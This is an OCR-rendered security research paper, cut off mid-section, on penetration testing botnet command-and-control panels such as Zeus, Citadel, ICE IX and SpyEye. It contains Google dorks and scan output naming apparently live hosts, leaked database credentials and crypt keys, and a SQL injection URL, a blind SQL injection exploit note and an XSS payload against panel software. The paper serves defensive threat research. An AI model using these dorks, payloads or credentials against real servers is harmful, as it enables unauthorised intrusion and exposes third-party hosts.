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Abstract

This research is primarily focused on the use of penetration testing
approach to find fundamental weaknesses and configuration flaws re-
siding in Command and Control (C&C) panels used by bot herders to
manage botnets. This paper generalizes the findings that have been
noticed during testing and analysis of several C&C panels.
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1 Introduction

C&C panels provide centralized distribution platforms to control and manage
numbers of bots installed on the infected end-user systems across the Internet
in various geographical regions. In short, C&C panels are written in server-
side programming or scripting language such as PHP, ASP etc. with backend
databases as MySQL and MSSQL. In this research, the most widely deployed
C&C panels are targeted which include Zeus, ICE IX, Citadel, Athena, and
others. The motive is to detect security flaws so that C&C servers can be
compromised and intelligence can be gathered to build automated solutions
if possible. Primarily, this paper talks about the state of C&C deployments
including some of the interesting myths and realities associated with C&C
panels.

2 Securing C&C Panels - Opted Mechanisms

Bot herders use efficient mechanisms to preserve the integrity of C&C pan-
els from remote attacks. To avoid direct interaction with the C&C panels,
following security mechanisms have been implemented by the bot herders:

2.1 Gate Component

As the name suggests, the gate component acts as a security component. The
idea revolves around the notion that the bot (malware running on infected
system) has to first verify its identity at the gate before the stolen data is
transmitted to the C&C panels. The process also includes exchange of com-
mands from the C&C panels. The majority of botnet C&C panels implement
gates to make the information transmission process more secure. Basically,
most of the gates are written in“PHP” and usually the naming convention
used is“gate.php”. However, it can be altered by the bot herders as per their
convenience. Listing 1 shows a snippet taken from the gate component which
elaborates the types of parameters being accepted at the gate level.

if (empty($1list [SBCID_BOT_VERSION]) || empty($list[SBCID_BOT_ID1))die();
if (!connectToDb())die();

$botId = str_replace("\x01", "\x02", trim($list[SBCID_BOT_ID]));
$botIdQ = addslashes($botId);
$botnet = (empty($list [SBCID_BOTNET])) 7 DEFAULT_BOTNET : str_replace

("\x01", "\x02", trim($1list[SBCID_BOTNET]));
$botnetQ = addslashes($botnet);



$botVersion = toUint ($1ist [SBCID_BOT_VERSION]);

$reallpvd = trim((lempty($_GET[’ip’]l) ? $_GET[’ip’] : $_SERVER[’REMOTE_ADDR’]));
$country = getCountryIpv4d(); //str_replace("\z01", "\z02", GetCountryIPuvi());
$countryQ = addslashes($country);

$curTime = time();

Listing 1: Code Extracted from the Gate Component of a Botnet

2.2 Cryptographic Key

For secure communication and performing read/write operations on the C&C
panel, the cryptographic key is required for authentication. This key is passed
to the bot as a part of configuration file in the binary format. The crypto-
graphic key is hard-coded in the configuration file by the bot herder before
the bot is even built. However, the configuration file can also be updated
later on which means, bot herders can rotate the cryptographic key with time
intervals. With this cryptographic key, the bot verifies its identity at the gate.
Once the verification is completed, the bot starts communicating with the
C&C panel. For example:- RC4 key is used for authentication purposes in
Zeus and Citadel botnets. Listing 2 shows a snippet from a configuration file
taken from one of the compromised C&C.

$config[’mysql_host’] = ’localhost’;
$config[’mysql_user’] = ’specific_wpl’;
$config[’mysql_pass’] = ’X8psH64kYa’;
$config[’mysql_db’] = ’specific_WP’;
$config[’reports_path’] = ’_reports’;
$config[’reports_jn_port’] = 5222;
$config[’botnet_timeout’] = 1500;
$config[’botnet_cryptkey’] = ’pelli$10pelli’;

Listing 2: Cryptographic Key Present in the Configuration File

2.3 C&C Login Page Key

In recent C&C panel deployed in Athena botnet, additional feature has been
introduced in which the login page of the C&C panel is secured by a key.
The remote user can only access the C&C panel if the key is known. This
key is not shared with the bot so no trace of this key is found on the infected
system. Only the administrator (or bot herder) knows about this key and
uses it to unlock the login webpage of C&C panel. If the key is configured
and not provided, the remote user is shown with a blank webpage with or
without any message.



3 Attack Models

The most widely used attack models to compromise C&C panels are discussed
below:

3.1 Reversing Malware to Extract Cryptographic Keys
and File Uploading

A number of C&C panels are vulnerable to file uploading attacks. For last
couple of years, C&C panels used for botnets such as Zeus, etc. have been
vulnerable to this attack provided if the cryptographic key is available. Zeus
C&C panels have been compromised from time-to-time using this attack
model. The attack scenario is discussed below:

e Malware (bots) binaries are reversed to extract cryptographic keys used
for authentication at the gates.

e Using the cryptographic keys, remote management shells (such as C-22,
PHP-Spy, etc.) are uploaded on the compromised servers.

e Paths to remote management shells and configurations files are tra-
versed for executing commands and extracting configuration parame-
ters respectively.

e Database credentials are extracted from the configuration files for ob-
taining access to the backend databases (MySQL etc.) for additional
information.

e MD?5 hashes are obtained from tables present in the databases used for
C&C operations. The hashes are transferred to the cracking engines to
obtain passwords for the C&C panels.

One can check on the following links to validate how this attack model
is executed: (Putting Hackers on Notice: Watch Your Flank EI and Zeus
2.1.x Upload vulnerability.

http://community.websense.com/blogs/securitylabs/archive/2014/06/12/
Zeus—c—amp-c-vulnerability.aspx
“http://cybercrime-tracker.net/zeus.php


http://community.websense.com/blogs/securitylabs/archive/2014/06/12/zeus-c-amp-c-vulnerability.aspx
http://community.websense.com/blogs/securitylabs/archive/2014/06/12/zeus-c-amp-c-vulnerability.aspx
http://cybercrime-tracker.net/zeus.php

The above-discussed model requires an extensive understanding of how the
malware works including the design of C&C panels and hands-on experience
with the reverse engineering tactics.

3.2 Obtaining Backdoor Access to Hosting Servers

Virtual hosting allows multiple domains (or websites) to be hosted on single
server in which IP address is shared. A number of C&C panels are hosted
on compromised domains present on the hosting servers. If one of the host
(website, web application) on the hosting server is vulnerable to specific
attacks such as File Uploading and others, the successful uploading of remote
management shells allow the researchers to query the home directories of
other hosts on the server and potentially result in gaining read access to
the home directories. For example: consider a C&C panel is hosted on the
server which is running a vulnerable website as a part of virtual hosting. If
somehow that website is compromised, there is high probability that C&C
panel files can also be accessed. This is a type of indirect attack model
in which C&C panels are compromised by taking control of other hosts on
the virtual hosting server. On the similar note, help-desk systems can also
be targeted to gain access to hosting servers. To support this statement,
our team released a paper earlier in the Hack-in-the-Box (HitB) Ezine on
compromising virtual hosting servers by exploiting security flaws in the help
desk systems. The paper Notorious Datacenter support systems - Pwning
through outer sphere: FExploitation Analysis of Help Desk Systems can be
downloaded from Hack-in-the-Box (HitB) Ezine portal | Stolen credentials
can also be used to gain access and to deploy C&C panels directly on the
hosting servers.

This attack model results in gaining backdoor access to the virtual hosting
servers running C&C panels.

3.3 Finding Design and Deployment Flaws including
Vulnerabilities
In this attack model, the complete idea is to perform penetration testing

once you have the understanding of how the C&C panels work. It covers the
basic pointers as discussed below:

3http://magazine.hitb.org/issues/HITB-Ezine-Issue-004.pdf


http://magazine.hitb.org/issues/HITB-Ezine-Issue-004.pdf

e Analyzing how the C&C panels are deployed and what components are
present.

e Verifying whether the C&C panels are hosted on compromised hosting
accounts or free domain accounts provided by the service providers.

e Accessing C&C panel codes from the hosting server.

e Fuzzing directories and URL links to detect exposed components on
the C&C panel.

e Harnessing information from the exposed C&C components to better
understand how the C&C is configured.

e Finding vulnerabilities in virtual hosting service provider software to
gain backdoor access to the C&C panel.

e Detecting remote management shells that are already uploaded on the
compromised server.

e Detecting vulnerabilities in C&C panels if possible to gain access to
the internal structures.

This model also includes analyzing source code vulnerabilities in hacked
C&C panel source codes. It has been found that a number of C&C panel
source codes can be obtained during the process of penetration testing. This
is possible because a number of bot herders (or attackers) simply dump the
zip (or rar) files on the hosting server and fail to remove them after the
installation. This helps the penetration testers to grasp the source codes and
analyze security issues later on. As a result, verified security vulnerabilities
can be used to attack next set of C&C panels specific to a particular botnet
family.

This model can overlap with the previous models because this model
encompasses several testing procedures. I have discussed several cases in the

next section to show how penetration testing proves beneficial in attacking
C&C panels.



4 Penetration Testing C&C Panels

4.1 Detecting C&C Panels

This section discusses the different ways to detect C&C panels.

4.1.1 Hacking through Google Dorks

Google dorks can be used to search C&C panels for research, fun and profit
purposes. From penetration testing point of view, it is also a good step to
perform in order to detect C&C panels that are active on the Internet and
somehow indexed by the Google. Some interesting google dorks (more can
be constructed based on the design) for specific botnet families are shown
below:

e Citadel or Zeus - inurl: “cp.php?m=login”

e ICE IX - inurl: “adm/index.php?m=login”

e SpyEye inurl:“/frmep/”

e iStealer - inurl: “/index.php?action=logs” intitle: “login”

e Beta Bot - inurl: “login.php” intext: “myNews Content Manager”

However, it is on the discretion of the bot herder to use the same nam-
ing convention or to alter the names of the C&C components. The testing
indicates the majority of C&C deployments have default naming convention
used. But, sophisticated campaigns can eradicate this fact. Listing 3 shows
an output of a Google dork triggered to detect ICE IX C&C panel.

[*] !
DETECTED COMMAND AND CONTROL PANELS USING GOOGLE DORKS !

[+] !

[*] ok, results collected, cleaning the cached links or inactive links ..... !

[*] total number of potential C&C links detected are : 9

[*] generating direct C&C links with access codes ........

[-1 Title [loginl | http://www.joyhafakot.co.il/images/stories/Events/Private/web/adm/index.
php?m=login | (403)

[+] Title [login - Pure Soccer Academy] | http://puresoccer.com/info/adm/index.php?m=login |
(200) | (Apache)

[-] Title [login - security-anylist.com] | http://security-anylist.com/web/adm/index.php?m=
login [ (503)

[+] Title [login] | http://www.arabiaholding.com/bin/adm/index.php?m=login | (200) | (Apache
/2.2.22 (Uniz) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhelb DAV/2 mod_auth_passthrough/2.1
mod_bwlimited/1.4 FrontPage/5.0.2.2635)
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[+] Title [login - Biro ES] | http://biroes.ozylus.si/novice/adm/Index.php?m=login | (200) |
(Microsoft-I1S/7.5)

[-] Title [login - Name] | http://www.northwoodssupperclub.com/bin/file/adm/index. php?m=
login | (404)

[+] Title [login - Liminle] | http://www.liminle.com/surfing/adm/index.php?m=login | (200) |
(Apache)

[+] Title [login - Data recovery UK] | http://datarecoveryozfordshire.co.uk/admin/adm/indec.
php2?m=login | (200) | (Apache)

Listing 3: Google Dork Check for ICE 1X Panels !

Figure [1| shows the URL producing 200 OK message is accessed which is
actually an ICE IX C&C panel.

|m http://www.arabiaholding.com/binfadm/index.php?m=Ilogin v G’|

Login

User name: | |

Password: | |
[0 Remember (MD5 cookies)

| Submit |

Figure 1: ICE IX C&C Panel

4.1.2 C&C Network Traffic Analysis

Network traffic analysis is heavily used to detect anomalous and malicious
traffic originating from the infected end-user system to C&C panel and vice-
versa. Most of the advanced botnets such as Zeus, ICE 1X, Citadel, and other
implement gates as discussed earlier. If the network traffic is analyzed during
the process of data exfiltration to gates, there is a very high probability that
C&C panel administration interface will be present on the same server. For
example:- if the network traffic is found to be transmitted to the following

URL:
e http://www.example.com/vdfetr78/gate.php

One can use the paths shown above to construct URLs to access the
administration interface as shown below:
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e http://www.example.com/vdfetr78/cp.php?m=login
e http://www.example.com/vdfetr78/admin.php?m=login

Figure [2 and Figure [3| show the network traffic directed towards gates of
Plasma and Point-of-Sales (PoS) botnets respectively.

POST fpanelfgate.?hp HTTP/1.1

Content-Type: application/x-www-form-urlencoded
HOST: www.raozat.com

Content-Length: 262

Expect: 100-continue

Connection: Keep-Alive

crypt=gQHanl2ck5war pyNtglTCRKTBNTKEhORWAJL ZACQQACM1YTORBCIGASVQNEIKFWARE iMpOEVOUMCWNEIpPIF
KsvGduTkKkgd SKkx45M2BSTERDVGOC Iu9wWalFmcvBNCWNEI0Z 2bz9mcj TWToACM3MDIYZ EIVIHZhVXUQEUSE Tkvopib
plGZBpsQvdkK2gDegcDIzd3bkSwaxXpSNwIWMwg jNOMmMZ4 AzMzgzMzYWZ 0YzYkhj YOMWNK IWZmRmYwWIDM 1 TTOHTTR/
1.1 200 oK

Date: Tue, 18 Feb 2014 19:59:27 GMT

Server: LiteSpeed

Connection: close

X-Powered-By: PHP/5.3.28

Content-Type: text/html

Content-Length: 420

==Af QMFREVKUIRFIO1CIOMjMxoDdkRAL152bONXYuU9mag8uLgMzMzMjovEZmbp5ibpFGajv2Z vRmL xOwdOFmcON3LY
ochR3KtVHthHdszbtAcdw1nchHIhliKﬁQWvambBQGz/

I2bsJ2LwWBSMFNXZH]TW58yc 1 xWwam9sMmvkachoCd055Zn9yL 6AHdOhGI0IXYONNLYVmbplGFgMXZ SBYZ tACNZITMgA
XLQUHCN55Zu9GdzFmbvpGI11CI SMzMzoThvNmLyVGdzFmZoNXYo55Zn9GZulwdOFmcON3LvoDC jRIKTVHdhIHAZBY
btACdwlncjNHINL i KgQwyvxmb39GZ /
I2bsI2LwWBEMHIKUOZUSZBvc 1 xWwamdsMyvkGchaCd055Zn9vl 64AHd0hGI0IXYONNLL1E3ZuIxZu Twhi

Figure 2: Gate Traffic of Plasma HTTP Bot !

POST /outpost/gateway.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR
2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04508)

Host: 188.240.34.114

Content-Length: 167

Cache-cControl: no-cache

page=wlwIC1tdwF1lAwWwd JDEBZXFIVOAWIWQTAXVSPDLUIWwWEICwhZ&unm=EgQDCRIECgUZ&CNM=PiwjKS81NUED
&query=0gQDCQILaHk07BB4ZDA==&spec=X]INLWQZ&opt=XF le&var=PhkMHykyHhk=&val=bxZgqaHQ=HTTP /1.
1 200 oK

pate: Fri, 22 Nov 2013 08:32:01 aMT

Server: Apache/2.2.22 (Debian)

¥-Powered-By: PHP/5.4.4-14+deb7u3

Set-Cookie: response=5uU4%3D

vary: Accept-Encoding

Content-Length: 0

Content-Type: text/html; charset=utf-§

Figure 3: Gate Traffic of Point-of-Sales (PoS) Bot !

Figure {4] shows the gate component accessed for Zeus. Using the pointer
mentioned earlier, Figure [5| shows the presence of administrative interface of
the Zeus C&C panel.

Figure [6] shows the same pointer as discussed earlier. However, configu-
ration file and bot binary is usually present on different server as oppose to
C&C panel. But, it is not a hard rule.
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€ - C [} alubarika.in/gov/adminpanel/gate.php

Figure 4: Gate Component for Zeus !

€ - C [ alubarika.in/gov/adminpanel/admin.php?m=login s

User name: | |

Password: | |

] Remember (MD5 cookies)

Figure 5: Administration Component for Zeus !

Zeus ConfigURLs on this C&C

2014-07-12 107.182.135.10%/mampurphp/config.bin G 2 2.0.8.2 34'424 fc794d736accaa3dd770%eadadoe014 EHEINN = download

ZeuS BinaryURLs on this C&C

2014-07-12 107.182.135.10%/mampurphp/bot.exe [Bffling o “ report n/a EOT [ download
ZeuS DropURLs (Dropzones) on this C&C

2014-07-12 107.182.135.109/mampurphp/gate.php Bfflingl

FakeURLs referenced by ZeuS Configs

Figure 6: Zeus Tracker - Config, Bot and C&C Panel on the same Server !
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Having an understanding of the design and insidious details of C&C pan-
els of different botnets help the security researchers to perform aggressive
analysis. Fuzzing is another good option for generating paths.

4.1.3 Public C&C Trackers

One can also use the public available C&C trackers provided by independent
researchers to track the infections across the Internet. For testing, fun and
profit purposes, analyzing servers provided by these trackers is a effective
step to start learning about the C&C panels. Check the Appendix section
for a number of C&C trackers.

4.2 Detecting Multiple C&C Panels on Same Domain

It is assumed that a particular domain hosts only one primary C&C panel.
Thats not a true case; one domain can host multiple C&C panels which
have been observed during the testing. Detecting maximum number of C&C
panels allows the researchers to gain maximum information from the com-
promised server by deciphering the patterns used in the URLs. For example,
consider the target URL patterns as follows:

o hittp://www.cc_server.com/ user/[pattern]/cp.php?m=login.

The [pattern| element should be analyzed properly and different combina-
tions (iterative, etc.) should be tested in an automated manner or manually.
The [pattern] element can be present in any part of the URI which requires
careful analysis to detect the vulnerable element that can be tested.

An example is presented in Figure[7] which shows the presence of multiple
Zeus C&C panels.

Figure |8 shows the two different C&C panels belonging to Solar and Pony
botnets’ families hosted on same server.

4.3 Exposed or Unprotected C&C Components

The built-in C&C components have specific functionality and can expose
critical (or important) information about the configuration and internals of
the C&C panel. This allows the researchers to gain ample amount of in-
formation about the deployed C&C panel including database tables, path

14
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Figure 7: Multiple C&C Panels Hosted on the same Domain !
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& Authorization

User

Password

I 2ave password

TF “_"1 Login

Figure 8: Solar and Pony Botnet C&C Panel on the Same Server !
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to stolen data, reports, etc. On real front, a vulnerability (or configuration
flaw) persists in the Zeus, ICE IX and Citadel botnet C&C panels, which al-
lows the remote users to extract information from the installation component
because it is not well protected. Listing 4 shows an output of the script to
extract information from the installation component of Citadel C&C panel.

python zeus_ice_cita_installer_checker.py http://sayno2gaymarriage.biz/wordpress/wp-includes
/foxpp

[+] target : (http://sayno2gaymarriage.biz/wordpress/wp-includes/foxpp/install/indez.php) |/
access_code : (200)

[*] install directory is exposed on the target C&C !

[-] installed C&C version : Control Panel 1.3.5.1 Installer

[*] detected MySQL DB on the C&C panel is : sayno2ga_foxpp

[*] extracting installer information, wait for few seconds for the POST request to execute
[*] installer query resulted in following information from : http://sayno2gaymarriage.biz/
wordpress/wp-includes/foxpp/install/index. php

<td align="left" class="success">&#8226; [0] - Connecting to MySQL as <b>’sayno2ga_foxpp’</
b>.</td>

<td align="left" class="success">&#8226; [0] - Selecting DB <b>’sayno2ga_foxpp’</b>.</td>

<td align="left" class="success">&#8226; [0] - Updating table <b>’botnet_list’</b>.</td>

<td align="left" class="success">&#8226; [0] - Creating table <b>’botnet_reports’</b>.</td>

<td align="left" class="success">&#8226; [1] - <small>Updating table <b>’
botnet_reports_140601’</b>.</small></td>

———————————————— TRUNCATED -----------—————-

<td align="left" class="success">&#8226; [2] - Updating table <b>’botnet_webinjects_group’
</b>.</td>

<td align="left" class="success">&#8226; [2] - Updating table <b>’
botnet_webinjects_group_perms’</b>.</td>

<td align="left" class="success">&#8226; [2] - Updating table <b>’botnet_webinjects’</b>.</

td>
<td align="left" class="success">&#8226; [2] - Updating table <b>’botnet_webinjects_bundle’
</b>.</td>

<td align="left" class="success">&#8226; [2] - Updating table <b>’
botnet_webinjects_bundle_execlim’</b>.</td>

<td align="left" class="success">&#8226; [2] - Updating table <b>’
botnet_webinjects_bundle_members’</b>.</td>

<td align="left" class="success">&#8226; [2] - Updating table <b>’botnet_webinjects_history
’</b>.</td>

<td align="left" class="success">&#8226; [2] - Creating folder <b>’_reports13305113°</b>.</
td>

<td align="left" class="success">&#8226; [2] - Writing config file</td>

<td align="left" class="success">&#8226; [2] - Searching for the god particle...</td>

<td align="left" class="success">&#8226; [3] - Creating folder <b>’system/data’</b>.</td>

<td align="left" class="success">&#8226; [3] - Creating folder <b>’public’</b>.</td>

<td align="left" class="success">&#8226; [3] - Creating folder <b>’files’</b>.</td>

<td align="left" class="success">&#8226; [3] - Creating folder <b>’files/webinjects’</b>.</
td>

<td align="left" class="success"><b>-- Update complete! --</b></td>

[*] generated raw file for analysis: 2014-06-30T19:29:04.156664.html
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[*] if you find any gibberish data in the file, it could be of many reasons -- (1) C&C
panel is hosted on some cloudservice that requires API to query, (2) something went
wrong in user-agent or referer header of content-type ! INSPECT LINKS MANUALLY IN THE
BROWSER!!

Listing 4: Extracting Information from Citadel Installation Component !

After extracting the reports directory name, the “files” directory was
accessed as shown in Figure [0

€ - C [ sayno2gaymarriage.biz/wordpress/wp-includes/foxpp/_reports13305113/

Index of /wordpress/wp-includes/foxpp/_reports13305113

* Parent Directory
e files

Apache/2.2.27 (Unix) mod_ssl2.2.27 OpenSSL/1.0. le-fips mod_bwlimited'].4 Server at saynoZgqymarriage.biz Port 80

Figure 9: Citadel Botnet Reports Directory is Accessed !

4.4 Exposed Directory Structure

C&C components are required to be properly secured. The majority of C&C
components are configured in their own respective directory. It becomes cru-
cial to trigger explicit check for the exposed directory structure on the C&C
panel. If you map this test to web application issue of Directory Indexing,
it is the similar case. A plethora of information is revealed if directories are
not secured appropriately. During testing, the exposed directory structure is
found on the majority of the botnet C&C servers (no specific count available).
The issue of exposed directory structure is not specific to C&C components
only but reflects a wide problem of server misconfiguration. Listing 5 shows
the kind of directories exposed on botnet C&C panel.

# python comp_check_zeus_ice_cita.py http://wuww.esherristore.com/wp-includes/Text/Diff/
Renderer/ugophp/ zeus

[*] !
EXPOSED C&C COMPONENTS - CHECK FOR 200 CODE
[*] !
[-] http://www.esherristore.com/wp-includes/Text/Diff/Renderer/ugophp/_reports - HTTP Error
Encountered - 404
[+] http://www.esherristore.com/wp-includes/Text/Diff/Renderer/ugophp/cp.php - (200)
[+] http://wuww.esherristore.com/wp-includes/Text/Diff/Renderer/ugophp/qgate.php - (200)
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[-] http://www.esherristore.com/wp-includes/Text/Diff/Renderer/ugophp/config.bin - HTTP
Error Encountered - 404

[+] http://www.esherristore.com/wp-includes/Text/Diff/Renderer/ugophp/install - (200)

[+] http://www.esherristore.com/wp-includes/Text/Diff/Renderer/ugophp/theme - (200)

Listing 5: Exposed Directory Check on a Zeus Panel !

4.5 Insecure C&C Panel Deployments using Customized
Software

For easy installation and management, bot herders use third party cus-
tomized software such as XAMPP, etc. to host C&C panels. Unfortunately,
XAMPP comes with its own set of insecurities if not configured properly. A
number of C&C panels have been compromised after mapping the XAMPP
deployment and exploiting inherent security issues. As discussed here: Linux
FAQs [l XAMPP is not meant for production use but only for development
environments. The way XAMPP is configured is to be open as possible to
allow the developer anything he/she wants. For development environments
this is great but in a production environment it could be fatal. Here a list of
missing security in XAMPP:

e The MySQL administrator (root) has no password.

e The MySQL daemon is accessible via network.

ProFTPD uses the password ”lampp” for user ”daemon”.

PhpMyAdmin is accessible via network.

Examples are accessible via network.

Even a small misconfiguration in deployment of XAMPP could result in
serious impacts. Figure [10| and Figure [L1|show the compromise of a Citadel
C&C panel running vulnerable XAMPP installation.

“https://www.apachefriends.org/faq_linux.html
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€& @ fip/j42.121.195.54]weblzer v x| [B- cooge Sl &

Index of fip:/f42.121.195.54 webalizer/
[® Up to higher level directt x|
Name 0 Enter username and password for ftp://42.121.195.54 st Modified
L _roports7375132 e e | | [2014  £:17:00 AM
#] api.php j2012  12:00:00 AM
=)= Passnord: | f2012  12:00:00 AM
Bod |I| Cancel | j2014  1:38:00 AM
] ess.php 12014 1:40:00 &AM
iﬂ ctry_usage_201308.png 3KE  4/13/2014  10:21:00 AM
L‘] ctry_usage_201309.png 3KE 4/13/2014  10:21:00 AM
%] ctry_usage_201310.png 3KB  4/13/2014 10:21:00 AM
iﬂ ctry_usage_201311.png 3KB 4/13/2014  10:21:00 AM
'lﬂ ctry_usage_201312.png 3KB 4/13/2014  10:21:00 AM
%] ctry_usage_201401.png 3KE  4/13/2014  10:21:00 AM
cu] ctry_usage_201402.png 3KB 4/13/2014 10:21:00 AM
%] ctry_usage_201403.png 3KB 41302014 10:21:00 AM
Connectadta 42.121.195.54... KB 412014 10:2L:00AM

Figure 10: Compromised Citadel C&C Panel Deployed using XAMPP - FTP Access !

& @ fip:j42.121,195.54/webalizer systemfconfig. php channg\a j‘} 3 @

localhost', 'mysql_user' => lampp’, 'mysql_pass' => TKPW4AVrAPppqchv', 'mysqgl_db' => 'webalizzer', 'reports_path' =>
"_reports347375132", 'reports_to_db' => 1, 'reports_to_fs' => 1, 'reports_geoip' => 0, 'jabber' => array ( login' => ", 'pass' =>
" 'host' == ", "port' => 5222, ), "reports_jn' == 0, 'reports_jn_logfile' =>'_reports347375132/abberlog, 'reports_jn_to' =>",
‘reports_jn_list' == ", 'reports_jn_botmasks' => ", 'reports_in_masks' => array ( 'wentOnline' => ", 'software’ => ", 'emd'=>",),
‘reports_jn_seript' =", 'scandyou_jid' == ", 'scandyou_id' => ", 'scandyou_token'=>", 'accparse_jid'=>", 'vne_server' =>",
‘vne_notify jid' == ", 'reports_deduplication' => 1, 'fframer' => array ('url' => ", 'html' => "', 'mode’ => 'off, 'nject' => 'smart',
‘traverse' => array ('depth' => 3, 'dir_masks' => array ( 0 => "www*, 1 => 'public*, 2 => 'domain®, 3 => "*host*, 4 =>
ht*docs', 5=> "*site®, 6 => "*web*, ), 'file_masks' => array ( 0 =>'index.*, 1 =>"*j5', 2 =>"*htm™*,), ), 'opt' => array (
refframe_days' == 0, 'process_delay' => 0, ), ), 'named_preset' => array (), 'db-connect' => array (), 'mailer' => array (
'master_email' == ", 'script_url' => ", ), 'allowed_countries_enabled' => 0, 'allowed_countries' => ", 'botnet_timeout' => 1500,
‘botnet_cryptkey' => 'EEB01318260CI", ), $config['botmet_cryptkey_bin'] = array(42, 206, 44, 185, 223, 202, 65, 90, 137,
182, 105, 33, 18, 87, 251, 175, 127, 148, 56, 141, 225, 97, 15, 221, 130, 252, 4, 180, 229, 221, 115, 154, 22, 144, 240, 43,
66,74, 218, 84,76, 201, 55, 117,72, 104, 208, 102, 189, 17, 145, 224, 124,75, 166, 219, 86, 133, 110, 145, 26, 60, 248,
4,0,39,88,79,165,7, 37,40, 28, 175, 230, 149, 212, 108, 173, 138, 33, 172, 114, 181, 254, 78, 12, 108, 68, 15, 102, 5,
44, 90, 16, 232, 192, 37, 63, 236, 120, 59, 162, 192, 111, 35, 151, 251, 107, 118, 57, 226, 181, 186, 129, 103, 96, 198,
141, 252, 23, 161, 184, 60, 239, 27, 87, 171, 207, 117, 106, 136, 51, 54, 237, 127, 18, 156, 83, 81, 213, 228, 7, 247, 20,
242, 212, 69, 246, 253, 253, 201, 162, 126, 225, 86, 62, 168, 0, 207, 123, 16, 172, 105, 211, 57, 42, 151, 49, 21, 48, 220,
99, 226, 168, 48, 159, 113, 209, 118, 146, 30, 165, 11, 167, 65, 192, 65, 81, 166, 155, 187, 25, 50, 136, 211, 32, 233, 205,
205, 10, 83, 134, 155, 45, 129, 99, 179, 194, 73, 180, 8, 28, 247, 5, 134, 1, 191, 132, 57, 14, 52, 113, 216, 112, 141, 32,
239, 187, 64, 95, 195, 109, 232, 158, 253,70, 69, 122, 1, 244, 235, 86, 160, 204, 197, 85, 156, 184, 138, 149, 238, 196,
208, 188, 94); return $config,

Figure 11: Compromised Citadel C&C Panel Deployed using XAMPP - Credentials !
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4.6 Root Directory Verification

As a basic principle in testing of C&C panels, it is recommended that the
root directory of the server should be analyzed upfront. During testing, it has
been found that access to root directory on the web server reveals interesting
information. For example: root directories on free domain providers are not
properly secured and reveal the presence of files in the server root through
directory exposure. This is true for domains hosted on dedicated or virtual
hosting servers. Figure and Figure show the exposure of files and
directory in the root directory.

« C' [1107.182.14241

Index of /
Name Last modified Size Description
a serverphp’ 2014-06-20 06:54

Apache/2.4.7 (Win32) OpenSSL/1.0.1e PHP/5.5.9 Server at 107.182.142.41 Port 80

Figure 12: Root Directory Verification - C&C Directory !

- C [} 107.182.142.41/serverphp/r7

Index of /serverphp/r7

a Parent Directorv

(€3 _reports 2014-06-21 02:38
config.bin 2014-06-20 06:38 34K
() coptp 2013-12-19 01:10 55K
gmmlm 2013-12-1901:10 17K
() install! 2013-12-19 01:10
) theme! 2013-12-19 01:10

Apache/2.4.7 (Win32) OpenSSL/1.0.1e PHP/3.5.9 Server at 107.182.142.4] Port 80

Figure 13: Root Directory Verification - C&C Files !
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4.7 Detecting Vulnerabilities for Fun and Profit

Finding vulnerabilities in C&C panels can also result in fruitful scenarios.
However, you need to have specific vulnerabilities that result in gaining access
to the server. It depends on the testing and the type of vulnerability being
found. In 2011, our team detected a SQL injection flaw in SpyEye C&C panel
that allows the remote users to extract database passwords and many other
operations. The details can be found on the blog titled as Blasting SpyEye
CEC - SQL Injection Wins )] Figure [14] shows a successful unauthenticated
SQL Injection in SpyEye C&C panel.

&% | I8 | hetpy T /frmepoyFrm_findrep_sub2.php?id=-99999 union all select tu3tcone = M=

Bp Mozt Visited = [0 Cetting Started [ Latest Headlines =

[# legl. . —rootlocalhost:36dTa0. . | 4

v n false: "=
<Label>Please, enter password: </Labelocingut type='passwerd” ld='passvord’ nase='password'> <lnput type="sutait’ values'Enter'>
<l d="div_suth'>
<fdiv

< fore=

=aeriph types="teal/javascripl™s
ol = decusant.getElesantiy 14l passwerd )
2t (4l) ol fecusi);

=% FEpt sl s

| ameta hitp-equive
<titlestogl, . -
ik href="ciar
=cript types'ter

Type® cont tal; charset
host: 364760 Taddbal -) c/t 1 lex
iypeetent/cas pel=styleshests
TPt" srce s/alar. (3 e</ecriphs

pomt="text hinl; charseteise.BE00-1"»
Fa

«/head=
<hodys

Lire 19, Col 1

Figure 14: SQL Injection in SpyEye C&C Panel !

A blind SQL vulnerability has also been released in Umbra Loader El as
shown in Figure (15|

Vulnerabilities like SQL Injections, File Uploads and Remote File In-
clusions prove beneficial but vulnerabilities like XSS are not any profitable.
However, for fun purposes one can test for it. For example:- an XSS injection
has been found in ICE 1X C&C panel and details can be found under blog
title For Fun - XSS in ICE IX C&C Panel [| Figure [L6] shows a successful
XSS Injection in ICE IX C&C panel. A similar XSS vulnerabilities have also

Shttp://secniche.blogspot.com/2011/08/blasting-spyeye-c-sql-injection-wins.
html

Shttp://www.1337day.com/exploit/20353

"http://secniche.blogspot.com/2012/06/for-fun-xss-in-ice-ix-bot-admin-panel.
html
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] Umbra Loader Botnet all wversion Blind S5gl Injection

] Found by Angel Injection

] Version: all wversion

] Security -::RISK: high

] platforms: php

] Download Link: http://www.gfi.com/blog/umbra-loader-botnet-behind-fake-123greeting—com-span-campaign/

Note: Exploit Really Found BY ("Th3breacker") thank and he publish it on his website

http://th3breacher.wordpress.com/
http://th3breacher.wordpress.com/2012/07/21/umbra-loader-vulnerabilities/

exploit on
/bot/panel/delete_command.php
if (isset($ GET["deleteID"]))
{

$sgl = "DELETE FROM °"1lst_ commands® WHERE "ID" = '".5 GET['deleteID']."':":
?deleteID=blind =gl injection

exploit
http://target/panel/delete_command.php?deleteID=blind sgl here

Figure 15: Blind SQL Injection Vulnerability in Umbra Loader C&C Panel!

been found in other C&C panels.

€ 2> ¢ o —Fiva n/index php/%F6%22%20/%22% 20cnmouseover=%22JavaSariptalerti2Bdocur ¥ | 9
Login

User name:

Password

| Remember (MD3 cookies)

it — v st sl inden phipy 56 %2 2%20/ %22

SDonmouseover= %22 avaSoniptalent a8 document locatio
NI E0name= 22 Tm=login

Figure 16: XSS Injection in ICE IX Panel !

4.8 Port Mapping for Resources

An interesting configuration flaw has been detected while analyzing the C&C
panels. It is possible to download resources (files, etc) by mapping different
open ports. Always check the types of opened HTTP ports (or others) on the
domain running C&C panel. Consider the target server has TCP ports as 80
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and 8081 opened for HTTP communications. Let’s say you want to access
the resource “RESOURCE-X”" on the domain http://example.com on port
80. When the request is sent to http://www.ezample.com/RESOURCES-X/
